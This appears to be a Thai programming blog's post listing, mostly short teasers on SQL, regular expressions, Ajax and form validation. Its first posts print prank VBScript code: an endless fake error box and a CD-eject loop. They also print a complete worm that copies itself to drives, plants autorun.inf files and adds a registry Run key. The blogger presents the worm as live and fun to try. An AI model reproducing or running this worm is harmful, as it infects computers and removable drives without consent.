Code Fake MSG Box

October 1, 2008 – 2:43 pm

Do
Dim tot
tot = MsgBox (”Window Application Error”, 16+5,”Mircosoft Windows“)
loop

สามารถเปลี่ยนคำพูดที่แสดงได้นะครับลองดัดแปลงดู

Save เป็น .vbs เช่นเดิม

Joke-CD-ROM

October 1, 2008 – 2:41 pm

‘[ Hacked By LG ] I hate go to school
Dim oWMP, colCDROMs, i
Do
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
If colCDROMs.Count >= 1 Then
For i = 0 To colCDROMs.Count - 1
colCDROMs.Item(i).Eject()
Next ‘ cdrom
End If
Loop

How to use.
Save this script to .vbs file

Red Code Hack By Godzilla

October 1, 2008 – 2:32 pm

Code Virus ตัวแสบ และยังมีชีวิตอยู่ สามารถใช้งานได้ ถ้าเอาไป save เป็น .vbs มันจะมีชีวิตขึ้นมาทันที ลองเล่นดูนะครับ สนุกดี

‘My name is Slow but sure V0.04
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe MS32DLL.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”)
tf.attributes = 32
set tf=fs.createtextfile(winpath & “\MS32DLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & “\MS32DLL.dll.vbs”)
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\MS32DLL.dll.vbs”,2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &”\MS32DLL.dll.vbs”)
tf.attributes =39
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
set rg = createobject(”WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL”,winpath&”\MS32DLL.dll.vbs”
rg.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”Hacked by Godzilla”
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject(”Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

Show Hint?

May 9, 2008 – 4:12 am

show hintShow Hint Script มันก็คือตัวช่วยที่ทำให้ user เข้าใจการใช้งานโปรแกรมของเรา มากขึ้น เช่น แบบฟอร์มสมัครสมาชิก ซึ่งอาจจะมี text box หรือช่องกรอกข้อความหลายช่อง จึงทำให้ user สับสนว่า อันนี้เราต้องกรอกอะไรนะ? หรือว่า รูปแบบของข้อมูลที่เขาต้องกรอก ต้องเป็นแบบไหนนะ? ซึ่งเมื่อก่อนที่เราเคยทำเว็บที่ผ่านมา ก็อาจจะเขียนข้อความสั้นๆ ไว้หลังแบบฟอร์มว่าช่องนี้ให้กรอกอะไรเช่น เขียนไว้หลัง text box ช่องกรอกพาสเวิร์ดว่า ” *กรุณากรอกพาสเวิร์ด 6 ตัวอักษรขึ้นไป ” ประมาณนี้ แต่มันทำให้เปลืองพื้นที่ใช้งาน ดูรกหูรกตา ไม่สวยงาม และที่คัญคือ ไม่ทันสมัย!

แสดงข้อความทั้งหมด

แบ่งหน้าแสดงผลง่ายๆด้วย Function

April 29, 2008 – 3:51 pm

pu_split วันนี้ผมขอพูดถึงการแบ่งการแสดงผลจากฐานข้อมูลออกเป็นหน้าๆ เช่น < 1|2|3 > ประมาณนี้ ตามเว็บไซต์ทั่วๆไป บางคนอาจเคยทำแบ่งหน้าแบบนี้ แต่อาจลำบากหน่อยเพราะต้องเขียนโค้ดกันยืดยาว วันนี้ผมจึงเอาวิธีแบ่งหน้าง่ายๆแบบ แทบไม่ต้องทำอะไรมาฝากกัน…

แสดงข้อความทั้งหมด

การใช้ Operator ในการค้นหาข้อมูล ด้วย SQL

January 9, 2008 – 11:21 pm

ภาษา SQL (สามารถอ่านออกเสียงได้ 2 แบบ คือ “เอสคิวแอล” (SQL) หรือ “ซีเควล” (Sequel)) ย่อ
มาจาก Structured Query Language หรือ ภาษาในการสอบถามข้อมูลเป็นภาษาทางด้านฐานข้อมูล ที่
สามารถสร้างและปฎิบัติการกับฐานข้อมูลแบบสัมพันธ์(relational database)โดยเฉพาะ และเปนภาษาที่มี
ลักษณะคล้ายกับภาษาอังกฤษ ภาษา SQLถูกพัฒนาขึ้นจากแนวคิดของ relational calculus และ relational
algebra เปนหลัก ภาษา SQL เริ่มพัฒนาครั้งแรกโดย almaden research center ของบริษัท IBM โดยมีชื่อ
เริ่มแรกว่า “ซีเควล” (Sequel) ต่อมาได้เปลี่ยนชื่อเป่น“เอสคิวแอล” (SQL) หลังจากนั้นภาษา SQLได้ถูกนํามา
พัฒนาโดยผู้ผลิตซอฟต์แวร์ด้านระบบจัดการฐานข้อมูลเชิงสัมพันธ์จนเปนที่นิยมกันอย่างแพร่หลายในปัจจุบัน โดยผู้ผลิตแต่ละรายก็พยายามที่จะพัฒนาระบบจัดการฐานข้อมูลของตนให้มีลักษณะเด่นเฉพาะขึ้นมา ทําให้รูปแบบการใช้คําสั่ง SQL มีรูปแบบที่แตกต่างกันไปบ้าง เช่น ORACLE ACCESS SQL Base ของ Sybase INGRESS หรือ SQL Server ของ Microsoft เป็นต้น ดังนั้นในปี ค.ศ. 1986 ทางด้าน American National Standards Institute (ANSI) จึงได้กําหนดมาตรฐานของ SQL ขึ้นอย่างไรก็ดี โปรแกรมฐานข้อมูลที่ขายในท้องตลาดได้ขยาย SQL ออกไปจนเกินข้อกําหนดของ ANSI โดยเพิ่มคุณสมบัติอื่นๆ ที่คิดว่าเปน
ประโยชน์เข้าไปอีก แต่โดยหลักทั่วไปแล้วก็ยังปฏิบัติตามมาตราฐานของ ANSI

แสดงข้อความทั้งหมด

Advance Ragular Expression

December 23, 2007 – 1:41 am

มาต่อกันภาคสองกับการใช้ Ragular Expression ในระดับสูงขึ้นอีกนิดกับโดยการกำหนดรูปแบบการค้นหาแบบอื่นๆ ได้กว้างขวาง และยืดหยุ่นกว่าที่ผ่านมา…

แสดงข้อความทั้งหมด

Ragular Expression

December 23, 2007 – 1:08 am

Ragular Expression เป็นเรื่องที่จำเป็นต่อการเขียนโปรแกรม พอสมควร และไม่ใช่เรื่องยาก แต่จะเป็นเรื่องที่มีความสามารถมากเลยทีเดียว เพราะมันคือการควบคุมข้อมูลต่างๆ ที่เราต้องการ ได้อย่างมีประสิทธิภาพ เพราะ ในความเป็นจริง เมื่อเราเขียนโปรแกรมจำพวกที่ต้องมีการควบคุมข้อมูลใน Text Field เช่น ช่อง text field นี้ เราต้องการให้กรอกเฉพาะข้อมูลตัวเลขเท่านั้น ในเรื่องของ Ragular Expression นั้น ช่วยเราได้มากเลยทีเดียว

แสดงข้อความทั้งหมด

มาลองทำ Ajax Tabs Content แบบง่ายๆกันดีกว่า

December 22, 2007 – 11:48 pm

ลายๆคนจะเห็นว่า ช่วงนี้กระแส Ajax จะมาแรงมากๆ เปิดไปเว็บไหนๆ เขาก็ใช้ Ajax กันหมดแล้ว ทั้งเท่ ดูดี มีสไตล์ ใช้งานง่าย ลดภาระการทำงานอีก แหม มัน ดีจริงๆ จะสังเกตุว่าที่เขาใช้กันมากๆ และเห็นบ่อยๆ ก็คงจะหนีไม่พ้นเจ้า Ajax Tabs Content ตามหน้าเว็บต่างๆ ซึ่งวันนี้ผมไปค้นๆ

เจอโค้ดตัวหนึ่ง ซึ่งเราไม่ต้องมาเขียนเองเลย เพียงแต่ลองมาปรับแต่งนิดหน่อยเท่านั้น เราก็ได้ Ajax Tabs Content เท่ๆ เหมือนคนอื่นเค้าแล้ว…

แสดงข้อความทั้งหมด

ฟังก์ชั่นแปลงจำนวนเงิน จากตัวเลข ให้เป็นภาษาไทย

December 22, 2007 – 11:47 pm

พอดีว่า บทความนี้น่าสนใจดี เลยเอามาลงให้อ่านกัน เพราะหลายๆ คนอาจจะเอาไปยุกต์ทำระบบอะไรได้หลายอย่างเลย เช่น ระบบขายของ พอออกไปเสร็จมา เราซื้อของไป 1500 บาท เรามาแปลงให้ตัวเลขนั้นเป็น หนึ่งพันห้าร้อยบาท ถ้วน มันก็น่าจะเท่ดีนะครับ

แสดงข้อความทั้งหมด

รหัสบัตรประชาชน Modulo 11 Check-Digit Algorithm

December 22, 2007 – 11:32 pm

ลังจากที่ทำเว็ปไซต์มานาน เคยทำพวกระบบสมาชิกมาก็มากมาย ที่ผมทำระบบสมัครสมาชิก แล้วขู่ให้ใส่หมายเลขบัตรประชาชน เพื่อที่ต้องการกรองเฉพาะ สมาชิกที่น่าจะไว้ใจได้เท่านั้น แต่ที่ดูๆแล้ว ก็ยังมีพวก “มั่ว” หมายเลขบัตรเข้ามา ทำให้ผมต้องลบออกไปหลายคนเหมือนกัน คิดแล้วไม่ออกว่าจะทำอย่างไร ให้รู้ข้อมูลสมาชิกของคนๆ นั้น จริงๆ ศึกษาไปเรื่อยๆ ก็เจอ อีกหนึ่งช่องทาง แต่ยุ่งยากมาก เพราะต้องใช้ soap ติดต่อกับ webservice http://www.rd.go.th/webservice/new/tin.html เลยมาเจอเว็บหนึ่ง ซึ่งต้องขอขอบคุณhttp://www.siamdev.net มา ณ ที่นี้ ด้วย ที่เขียนบทความดีๆ จึงเอามาบอกกัน…

แสดงข้อความทั้งหมด

Resize รูปด้วย Java Script

December 22, 2007 – 11:24 pm

พอดีว่างๆ จากการทำงาน เปิดเว็ปเล่นครายเครียด ไปสักพักไปเจอเว็ปบอร์ดแห่งนึง มันเปนบอร์ด….. ไม่บอกนะ อิอิ คือเวลาเปิดเข้าไปถ้ามีคนโพสรูปมาใหญ่ๆ มันจะโหลดๆๆๆ สักพัก พอโหลดเส็จรูปนั้น อ๊า~ กลับหดเล็กลงเท่าขนาดของบอร์ด ทำให้บอร์ดไม่เสียรูปทรง โอ๊ววว เจ๋ง!

แสดงข้อความทั้งหมด

Java Script สำหรับเช็คฟอร์ม input

December 22, 2007 – 11:23 pm

เคยไหม เวลาที่คุณต้องการทำฟอร์มอินพุต เพื่อกรอกรายละเอียดต่างๆ แล้วส่งค่า เช่นทำฟอร์มให้กรอกหมายเลขโทรศัพท์ แต่ใส่พวกตัวอักษรเข้ามา ทำให้เราได้รับข้อมูลที่ผิดพลาด มันก็มีอยู่หลายวิธีครับ ในการบล๊อกพวกนี้ แต่ผมมีอยู่วีธีนึง ที่สั้นๆ ง่ายๆ โดยการใช้ javascript แต่…มันมีข้อเสียอยู่อย่างเดียว คือเว็ปที่ใส่จาวา เยอะๆ มันจะชอบดีกันแล้วไม่ทำงาน เวลาใช้ก็ต้องดูๆหน่อยละครับ เอ้า ไม่พูดพล่ามทำเพลง มาดูวิธีทำเลยดีกว่า

แสดงข้อความทั้งหมด

มาทำ image verification กันเหอะ!!

December 22, 2007 – 11:21 pm

บางคนคงเคยเห็นข้อความโฆษณา ตามเว็ปบอร์ด ต่างๆมากมาย ตามที่เห็นพวก ลดความอ้วน หรือ ทำงานเดือนละแสน ห่าเหวอะไรของมันนั่น วันนี้ผมก็มีวิธีทำ image verification มาฝาก คือจะต้องให้กรอกโค้ดที่ผ่านการสุ่มก่อน แล้วจึงจะกดโพสข้อความได้ เพราะผมมั่นใจว่า bot มันคงยังอ่านรูป เป็น text ได้หรอกในตอนนี้ (มั้ง) ลองมาดูกัน สนใจอ่านต่อเลยครับ

แสดงข้อความทั้งหมด